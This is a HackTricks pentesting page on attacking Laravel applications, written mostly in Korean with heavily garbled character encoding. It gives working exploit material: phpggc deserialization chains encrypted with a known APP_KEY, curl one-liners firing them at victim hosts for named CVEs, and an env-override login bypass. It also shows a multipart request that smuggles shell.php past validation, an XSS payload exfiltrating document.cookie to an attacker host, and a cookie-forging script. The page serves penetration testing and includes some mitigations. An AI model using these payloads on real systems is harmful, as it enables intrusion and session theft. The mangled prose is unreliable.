Laravel
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Laravel SQLInjection
์์ธํ ๋ด์ฉ์ ๋ค์์ ์ฐธ์กฐํ์ธ์: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Encryption internals (Laravel >=5.6)
Laravel์ ๋ด๋ถ์ ์ผ๋ก AES-256-CBC(๋๋ GCM)์ HMAC ๋ฌด๊ฒฐ์ฑ์ ์ฌ์ฉํฉ๋๋ค (Illuminate\Encryption\Encrypter).
์ต์ข
์ ์ผ๋ก ํด๋ผ์ด์ธํธ์ ์ ์ก๋๋ ์์ ์ํธ๋ฌธ์ JSON ๊ฐ์ฒด์ Base64์ ๊ฐ์ ํํ์
๋๋ค:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํ๋ฌธ์ serialize() ํ๋ฉฐ, ๋ฐ๋ฉด
decrypt($payload, $unserialize=true)๋ ๋ณตํธํ๋ ๊ฐ์ ์๋์ผ๋ก unserialize() ํฉ๋๋ค.
๋ฐ๋ผ์ 32๋ฐ์ดํธ ๋น๋ฐ๊ฐ APP_KEY๋ฅผ ์๊ณ ์๋ ๊ณต๊ฒฉ์๋ ์ํธํ๋ PHP ์ง๋ ฌํ ๊ฐ์ฒด๋ฅผ ๋ง๋ค์ด ๋งค์ง ๋ฉ์๋ (__wakeup, __destruct, โฆ)๋ฅผ ํตํด RCE๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
Minimal PoC (framework โฅ9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
์์ฑ๋ ๋ฌธ์์ด์ ์ทจ์ฝํ decrypt() sink (route param, cookie, session, โฆ)์ ์ฃผ์
ํ์ธ์.
laravel-crypto-killer ๐งจ
laravel-crypto-killer์ ์ ์ฒด ๊ณผ์ ์ ์๋ํํ๊ณ ํธ๋ฆฌํ bruteforce ๋ชจ๋๋ฅผ ์ ๊ณตํฉ๋๋ค:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
์ด ์คํฌ๋ฆฝํธ๋ CBC ๋ฐ GCM payload๋ฅผ ํฌ๋ช ํ๊ฒ ์ง์ํ๋ฉฐ HMAC/tag ํ๋๋ฅผ ์ฌ์์ฑํฉ๋๋ค.
์ค์ ์ทจ์ฝํ ํจํด
| Project | Vulnerable sink | Gadget chain |
|---|---|---|
| Invoice Ninja โคv5 (CVE-2024-55555) | /route/{hash} โ decrypt($hash) | Laravel/RCE13 |
| Snipe-IT โคv6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | SESSION_DRIVER=cookie โ laravel_session cookie | Laravel/RCE15 |
์ต์คํ๋ก์ ์ํฌํ๋ก์ฐ๋ ํญ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- 32-byte
APP_KEY๋ฅผ ํ๋ํ๊ฑฐ๋ brute-force๋ก ์ฐพ์๋ ๋๋ค. - PHPGGC๋ก ๊ฐ์ ฏ ์ฒด์ธ(์:
Laravel/RCE13,Laravel/RCE9๋๋Laravel/RCE15)์ ๊ตฌ์ฑํฉ๋๋ค. - ์ง๋ ฌํ๋ ๊ฐ์ ฏ์ laravel_crypto_killer.py์ ๋ณต๊ตฌํ
APP_KEY๋ก ์ํธํํฉ๋๋ค. - ์ํธ๋ฌธ(ciphertext)์ ์ทจ์ฝํ
decrypt()sink(route parameter, cookie, session โฆ)์ ์ ๋ฌํ์ฌ RCE๋ฅผ ์ ๋ฐํฉ๋๋ค.
์๋์๋ ์์์ ์ธ๊ธํ ๊ฐ ์ค์ CVE์ ๋ํ ์ ์ฒด ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ฅผ ๋ณด์ฌ์ฃผ๋ ๊ฐ๊ฒฐํ one-liners(ํ ์ค ๋ช ๋ น)๊ฐ ๋์ต๋๋ค:
# Invoice Ninja โค5 โ /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT โค6 โ XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater โ cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Mass APP_KEY discovery via cookie brute-force
์๋ก์ด Laravel ์๋ต์ ์ต์ ํ๋์ ์ํธํ๋ ์ฟ ํค(XSRF-TOKEN ๋ฐ ์ผ๋ฐ์ ์ผ๋ก laravel_session)๋ฅผ ์ค์ ํ๊ธฐ ๋๋ฌธ์, public internet scanners (Shodan, Censys, โฆ) leak millions of ciphertexts. ์ด ์ํธ๋ฌธ๋ค์ ์คํ๋ผ์ธ์์ ๊ณต๊ฒฉํ ์ ์์ต๋๋ค.
Synacktiv (2024-2025)๊ฐ ๋ฐํํ ์ฐ๊ตฌ์ ์ฃผ์ ๊ฒฐ๊ณผ:
- Dataset July 2024 ยป 580 k tokens, 3.99 % keys cracked (โ23 k)
- Dataset May 2025 ยป 625 k tokens, 3.56 % keys cracked
-
1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
- Huge key reuse โ the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, โฆ).
์ฌ์ค Go ๋๊ตฌ nounours๋ AES-CBC/GCM bruteforce ์ฒ๋ฆฌ๋์ ์ด๋น ์ฝ 1.5 billion tries/s ์์ค์ผ๋ก ๋์ด์ฌ๋ ค ์ ์ฒด ๋ฐ์ดํฐ์ ํฌ๋ํน์ <2 minutes๋ก ๋จ์ถํฉ๋๋ค.
CVE-2024-52301 โ HTTP argv/env override โ auth bypass
PHP์ register_argc_argv=On ์ค์ (๋ง์ ๋ฐฐํฌํ์์ ์ผ๋ฐ์ )์ผ ๋, PHP๋ ์ฟผ๋ฆฌ ๋ฌธ์์ด์์ ํ์๋ HTTP ์์ฒญ์ฉ argv ๋ฐฐ์ด์ ๋
ธ์ถํฉ๋๋ค. ์ต๊ทผ Laravel ๋ฒ์ ์ ์ด๋ฌํ โCLI-likeโ ์ธ์๋ค์ ํ์ฑํ๊ณ ๋ฐํ์์ --env=<value>๋ฅผ ์กด์คํ์ต๋๋ค. ์ด๋ก ์ธํด URL์ ํด๋น ์ธ์๋ฅผ ๋ง๋ถ์ด๋ ๊ฒ๋ง์ผ๋ก ํ์ฌ HTTP ์์ฒญ์ ํ๋ ์์ํฌ ํ๊ฒฝ์ ์ ํํ ์ ์์ต๋๋ค:
-
Quick check:
-
Visit
https://target/?--env=localor any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. -
Impact example (business logic trusting a special env):
-
If the app contains branches like
if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to: -
POST /login?--env=preprod -
Notes:
-
Works per-request, no persistence.
-
Requires
register_argc_argv=Onand a vulnerable Laravel version that reads argv for HTTP. -
Useful primitive to surface more verbose errors in โdebugโ envs or to trigger environment-gated code paths.
-
Mitigations:
-
Disable
register_argc_argvfor PHP-FPM/Apache. -
Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to
app()->environment()in production routes.
Minimal exploitation flow (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
CVE-2025-27515 โ ์์ผ๋์นด๋ ํ์ผ ๊ฒ์ฆ ์ฐํ (files.*)
Laravel 10.0โ10.48.28, 11.0.0โ11.44.0 ๋ฐ 12.0.0โ12.1.0์์ ์กฐ์๋ multipart ์์ฒญ์ด files.* / images.*์ ๋ถ์ ๊ท์น์ ์์ ํ ์ฐํํ ์ ์์ต๋๋ค. ์์ผ๋์นด๋ ํค๋ฅผ ํ์ฅํ๋ ํ์๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ๋ ์ด์คํ๋(์: __asterisk__ ์ธ๊ทธ๋จผํธ ์ฌ์ ์ฑ์ฐ๊ธฐ)์ ํผ๋๋ ์ ์์ผ๋ฏ๋ก, ํ๋ ์์ํฌ๊ฐ image, mimes, dimensions, max ๋ฑ์ ์ ํ ์คํํ์ง ์๊ณ UploadedFile ๊ฐ์ฒด๋ฅผ ํ์ด๋๋ ์ดํธํ ์ ์์ต๋๋ค. ์
์ฑ ๋ธ๋กญ์ด Storage::putFile*์ ๋ค์ด๊ฐ๋ฉด HackTricks์ ์ด๋ฏธ ๋์ด๋ ํ์ผ ์
๋ก๋ ์์( web shells, log poisoning, signed job deserialization, โฆ )๋ก ํผ๋ฒํ ์ ์์ต๋๋ค.
ํจํด ํ์ง
- ์ ์ ๋ถ์:
rg -n "files\\.\*" -g"*.php" app/๋๋FormRequestํด๋์ค์์rules()๊ฐfiles.*๋ฅผ ํฌํจํ๋ ๋ฐฐ์ด์ ๋ฐํํ๋์ง ๊ฒ์ฌ. - ๋์ ๋ถ์: Xdebug ๋๋ Laravel Telescope๋ก
Illuminate\Validation\Validator::validate()์ ํ ์ ๊ฑธ์ด ํ๋ฆฌํ๋ก๋์ ํ๊ฒฝ์์ ์ทจ์ฝ ๊ท์น์ ๋๋ฌํ๋ ๋ชจ๋ ์์ฒญ์ ๋ก๊น . - ๋ฏธ๋ค์จ์ด/๋ผ์ฐํธ ๊ฒํ : ๋ค์ค ํ์ผ์ ์ฒ๋ฆฌํ๋ ์๋ํฌ์ธํธ(์๋ฐํ ์
๋ก๋, ๋ฌธ์ ํฌํธ, ๋๋๊ทธ ์ค ๋๋กญ ์ปดํฌ๋ํธ)๋
files.*๋ฅผ ์ ๋ขฐํ๋ ๊ฒฝํฅ์ด ์์.
์ค์ ์ต์คํ๋ก์ ์ํฌํ๋ก
- ์ ์ ์ ๋ก๋๋ฅผ ์บก์ฒํ๊ณ Burp Repeater์์ ์ฌ์.
- ๋์ผํ ํํธ๋ฅผ ๋ณต์ ํ๋ ํ๋ ์ด๋ฆ์ ๋ณ๊ฒฝํด ์ด๋ฏธ ํ๋ ์ด์คํ๋ ํ ํฐ์ ํฌํจํ๋๋ก ํ๊ฑฐ๋(์:
files[0][__asterisk__payload]) ๋ค๋ฅธ ๋ฐฐ์ด์ ์ค์ฒฉ(files[0][alt][0])ํฉ๋๋ค. ์ทจ์ฝํ ๋น๋์์๋ ๋ ๋ฒ์งธ ํํธ๊ฐ ๊ฒ์ฆ๋์ง ์์ง๋ง ์ฌ์ ํUploadedFileํญ๋ชฉ์ด ๋ฉ๋๋ค. - ์์กฐํ ํ์ผ์ PHP ํ์ด๋ก๋(
shell.php,.phar, polyglot)๋ก ์ง์ ํ๊ณ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๊ทธ๊ฒ์ ์น์์ ์ ๊ทผ ๊ฐ๋ฅํ ๋์คํฌ์ ์ ์ฅํ๋๋ก ๊ฐ์ ํฉ๋๋ค(์ผ๋ฐ์ ์ผ๋กphp artisan storage:link๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐpublic/).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'
Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] โฆ) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
์ฒด์ด๋ํ ๊ฐ์น๊ฐ ์๋ ์์ฝ์์คํ ํจํค์ง ์ทจ์ฝ์ (2025)
CVE-2025-47275 โ Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)
If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set "sub":"auth0|admin" and app_metadata.roles), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: composer.lock shows auth0/auth0-php <8.14.0 and .env has AUTH0_SESSION_STORAGE=cookie.
CVE-2025-48490 โ lomkit/laravel-rest-api validation override
The lomkit/laravel-rest-api package before 2.13.0 merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite filter rules during an update action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:
composer.locklistslomkit/laravel-rest-api<2.13.0./_rest/users?filters[0][column]=password&filters[0][operator]==is accepted instead of rejected, showing filter validation was bypassed.
Laravel ํ
๋๋ฒ๊น ๋ชจ๋
If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:
.png)
This is usually needed for exploiting other Laravel RCE CVEs.
CVE-2024-13918 / CVE-2024-13919 โ Whoops ๋๋ฒ๊ทธ ํ์ด์ง์ reflected XSS
- ์ํฅ๋ฐ๋ ๋ฒ์ : Laravel 11.9.0โ11.35.1 with
APP_DEBUG=true(either globally or forced via misconfigured env overrides like CVE-2024-52301). - ์๋ฆฌ: Whoops๊ฐ ๋ ๋๋งํ๋ ๋ชจ๋ ์ฒ๋ฆฌ๋์ง ์์ ์์ธ๋ ์์ฒญ/๋ผ์ฐํธ์ ์ผ๋ถ๋ฅผ without HTML encodingํ์ฌ ๋ฐ์ํ๋ฏ๋ก, ๋ผ์ฐํธ๋ ์์ฒญ ํ๋ผ๋ฏธํฐ์
<img src>/<script>๋ฅผ ์ฃผ์ ํ๋ฉด ์ธ์ฆ ์ ์ ์๋ต์ ์ ์ฅ๋๋ XSS๊ฐ ๋ฐ์ํฉ๋๋ค. - Impact: steal
XSRF-TOKEN, leak stack traces with secrets, open a browser-based pivot to hit_ignition/execute-solutionin victim sessions, or chain with passwordless dashboards that rely on cookies.
Minimal PoC:
// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"
Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the _ignition/health-check endpoint often reveals staging hosts that still expose this chain.
Fingerprinting & exposed dev endpoints
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
/_ignition/health-checkโ Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured./_debugbarโ Laravel Debugbar assets; often indicates debug mode./telescopeโ Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions./horizonโ Queue dashboard; version disclosure and sometimes CSRF-protected actions.X-Powered-By, cookiesXSRF-TOKENandlaravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel์ ์ฟ ํค์ ๋ค๋ฅธ ์๊ฒฉ์ฆ๋ช
์ ์ํธํํ๋ ๋ฐ ์ฌ์ฉํ๋ APP๋ฅผ .env๋ผ๋ ํ์ผ์ ์ ์ฅํ๋ฉฐ, ์ด ํ์ผ์ /../.env ๊ฐ์ ๊ฒฝ๋ก ์ํ๋ก ์ ๊ทผํ ์ ์๋ค.
Laravel์ ์๋ฌ๊ฐ ๋ฐ์ํ๊ณ ๋๋ฒ๊ทธ๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ, ๋๋ฒ๊ทธ ํ์ด์ง์ ์ด ์ ๋ณด๋ฅผ ํ์ํ๊ธฐ๋ ํ๋ค.
Laravel์ ๋น๋ฐ APP_KEY๋ฅผ ์ฌ์ฉํ๋ฉด ์ฟ ํค๋ฅผ ๋ณตํธํํ๊ณ ์ฌ์ํธํํ ์ ์๋ค:
์ฟ ํค ๋ณตํธํ
์ฟ ํค ๋ณตํธํ/์ํธํ ๋์ฐ๋ฏธ (Python)
```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)
def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[โmacโ] value = bytes(dic[โvalueโ], โutf-8โ) iv = bytes(dic[โivโ], โutf-8โ) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return โโ
def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, โutf-8โ) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {โivโ: iv.decode(), โvalueโ: value.decode(), โmacโ: mac} return base64.b64encode(bytes(json.dumps(dic), โutf-8โ))
app_key =โHyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=โ key = base64.b64decode(app_key) decrypt(โeyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9โ) #bโ{โdataโ:โa:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}โ,โexpiresโ:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0eโ encrypt(bโ{โdataโ:โa:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}โ,โexpiresโ:1605141157}โ)
</details>
### Laravel ์ญ์ง๋ ฌํ RCE
์ทจ์ฝํ ๋ฒ์ : 5.5.40 ๋ฐ 5.6.x๋ถํฐ 5.6.29๊น์ง ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
๋ค์์์ ์ญ์ง๋ ฌํ ์ทจ์ฝ์ ๊ด๋ จ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์ต๋๋ค: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
๋ค์ ๋ฆฌํฌ์งํ ๋ฆฌ๋ฅผ ์ฌ์ฉํด ํ
์คํธํ๊ณ ์ต์คํ๋ก์ํ ์ ์์ต๋๋ค: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
๋๋ metasploit์ผ๋ก ์ต์คํ๋ก์ํ ์๋ ์์ต๋๋ค: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
๋ ๋ค๋ฅธ ์ญ์ง๋ ฌํ ์ทจ์ฝ์ : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dโAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC โ PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory โ Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC โ register_argc_argv HTTP argv โ --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf โ HTB Environment (CVEโ2024โ52301 env override โ auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 โ Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research โ CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 โ Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 โ lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


